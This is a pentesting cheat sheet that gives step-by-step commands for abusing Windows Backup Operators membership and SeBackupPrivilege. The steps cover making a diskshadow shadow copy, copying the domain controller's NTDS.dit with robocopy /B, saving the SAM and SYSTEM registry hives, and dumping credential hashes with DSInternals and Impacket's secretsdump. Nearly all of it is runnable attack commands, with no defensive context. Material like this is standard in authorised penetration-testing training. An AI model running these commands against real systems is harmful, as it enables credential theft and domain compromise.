# buit-in-groups

#### Approach to Exploiting Windows Built-in Groups (Focus: Backup Operators)

#### Identify Group Memberships:

```powershell
whoami /groups  # Check if the user is in "Backup Operators"
```

#### Verify SeBackupPrivilege:

```powershell
whoami /priv  # Check if SeBackupPrivilege is present
Get-SeBackupPrivilege  # PowerShell cmdlet
```

#### Enable SeBackupPrivilege (if needed):

```powershell
Set-SeBackupPrivilege  # PowerShell cmdlet
```

#### Import SeBackupPrivilege Modules:

```powershell
Import-Module .\SeBackupPrivilegeUtils.dll
Import-Module .\SeBackupPrivilegeCmdLets.dll
```

#### Access Protected Files:

```powershell
dir <protected_directory>  # Verify lack of access
Copy-FileSeBackupPrivilege <protected_file> <destination>
robocopy /B <source> <destination> <file>
```

#### Target Domain Controller (NTDS.dit):

```powershell
diskshadow.exe  # Create shadow copy
set verbose on
set metadata C:\Windows\Temp\meta.cab
set context clientaccessible
set context persistent
begin backup
add volume C: alias cdrive
create
expose %cdrive% E:
end backup
exit
```

```powershell
Copy-FileSeBackupPrivilege E:\Windows\NTDS\ntds.dit <destination>
robocopy /B E:\Windows\NTDS\ <destination> ntds.dit
```

#### Backup Registry Hives:

```powershell
reg save HKLM\SYSTEM SYSTEM.SAV
reg save HKLM\SAM SAM.SAV
```

#### Extract Credentials (NTDS.dit):

```powershell
Import-Module .\DSInternals.psd1
$key = Get-BootKey -SystemHivePath .\SYSTEM
Get-ADDBAccount -DistinguishedName <DN> -DBPath .\ntds.dit -BootKey $key
```

```bash
secretsdump.py -ntds ntds.dit -system SYSTEM -hashes lmhash:nthash LOCAL
```

#### Commands

```powershell
whoami /groups
whoami /priv
diskshadow.exe
reg save
secretsdump.py
robocopy /B
dir
```

#### PowerShell Cmdlets:

```powershell
Get-SeBackupPrivilege
Set-SeBackupPrivilege
Copy-FileSeBackupPrivilege
Import-Module .\DSInternals.psd1
Get-BootKey
Get-ADDBAccount
Import-Module .\SeBackupPrivilegeUtils.dll
Import-Module .\SeBackupPrivilegeCmdLets.dll
```

#### Tools:

* `diskshadow.exe` (Windows built-in)
* `reg.exe` (Windows built-in)
* `secretsdump.py` (Impacket)
* `robocopy.exe` (Windows built-in)
* `DSInternals` (PowerShell module)
* `SeBackupPrivilegeUtils.dll` and `SeBackupPrivilegeCmdLets.dll` (Custom PowerShell modules)

#### Techniques:

* Leverage `SeBackupPrivilege` to bypass file ACLs.
* Use `diskshadow` to create shadow copies of locked files.
* Extract credentials from `NTDS.dit` and registry hives.
* Use `robocopy` as an alternative to custom scripts.
